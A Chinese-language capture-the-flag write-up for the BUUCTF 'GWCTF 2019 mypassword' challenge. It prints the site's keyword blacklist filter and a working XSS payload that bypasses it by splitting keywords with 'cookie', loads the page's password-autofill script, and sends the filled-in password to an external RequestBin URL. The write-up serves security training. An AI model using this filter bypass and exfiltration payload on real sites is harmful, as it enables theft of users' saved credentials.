signed

QiShunwang

“诚信为本、客户至上”

[BUUCTF][GWCTF 2019]mypassword

2021/4/26 20:13:34   来源:

文章目录

    • 知识点
  • 解题过程
  • 学习参考

知识点

  • csrf
  • requestbin使用(外带数据,即命令注入无回显时如何得到执行结果)

解题过程

在这里插入图片描述注册登录
在这里插入图片描述
这里加载了一个js文件
payload:
60d487b4-04d2-4e33-9aad-fbe0264c5ac6.node3.buuoj.cn**/js/login.js**

得到一串js代码

if (document.cookie && document.cookie != '') {
	var cookies = document.cookie.split('; ');
	var cookie = {};
	for (var i = 0; i < cookies.length; i++) {
		var arr = cookies[i].split('=');
		var key = arr[0];
		cookie[key] = arr[1];
	}
	if(typeof(cookie['user']) != "undefined" && typeof(cookie['psw']) != "undefined"){
		document.getElementsByName("username")[0].value = cookie['user'];
		document.getElementsByName("password")[0].value = cookie['psw'];
	}
}

可以看出,用户名和密码都填入了表单

登录成功后有一个feedback.php的用户反馈

在这里插入图片描述查看页面源码,存在注释

<!-- 
			if(is_array($feedback)){
				echo "<script>alert('反馈不合法');</script>";
				return false;
			}
			$blacklist = ['_','\'','&','\\','#','%','input','script','iframe','host','onload','onerror','srcdoc','location','svg','form','img','src','getElement','document','cookie'];
			foreach ($blacklist as $val) {
		        while(true){
		            if(stripos($feedback,$val) !== false){
		                $feedback = str_ireplace($val,"",$feedback);
		            }else{
		                break;
		            }
		        }
		    }
		    -->

审计代码可以看出对输入的内容有过滤,但是只是替换为空很容易绕过,例如是incookieput的话,替换后会剩下input。由于login.js中有记录密码的功能,所以我们可以构造一个表单在feedback页面提交,在 http://http.requestbin.buuoj.cn (RequestBin提供了一个URL,该URL将收集对其发出的请求,首页点击create a requestbin)页面接收flag

以下内容一开始没有看懂,现在记录下来

注意每一次requestbin都会创建新的地址
在这里插入图片描述
poc(以下内容在feedback 即用户反馈页面的栏目中输入,点击提交,不要忘记更改requestbin地址

<incookieput type="text" name="username">
<incookieput type="password" name="password">
<scrcookieipt scookierc="./js/login.js"></scrcookieipt>
<scrcookieipt>
    var psw = docucookiement.getcookieElementsByName("password")[0].value;
    docucookiement.locacookietion="http://http.requestbin.buuoj.cn/1e8jfct1/?a="+psw;
</scrcookieipt>

点击此处查看可得到最后那张图片的flag

在这里插入图片描述

在这里插入图片描述

学习参考

https://blog.csdn.net/mochu7777777/article/details/105344563
https://blog.csdn.net/solitudi/article/details/109136858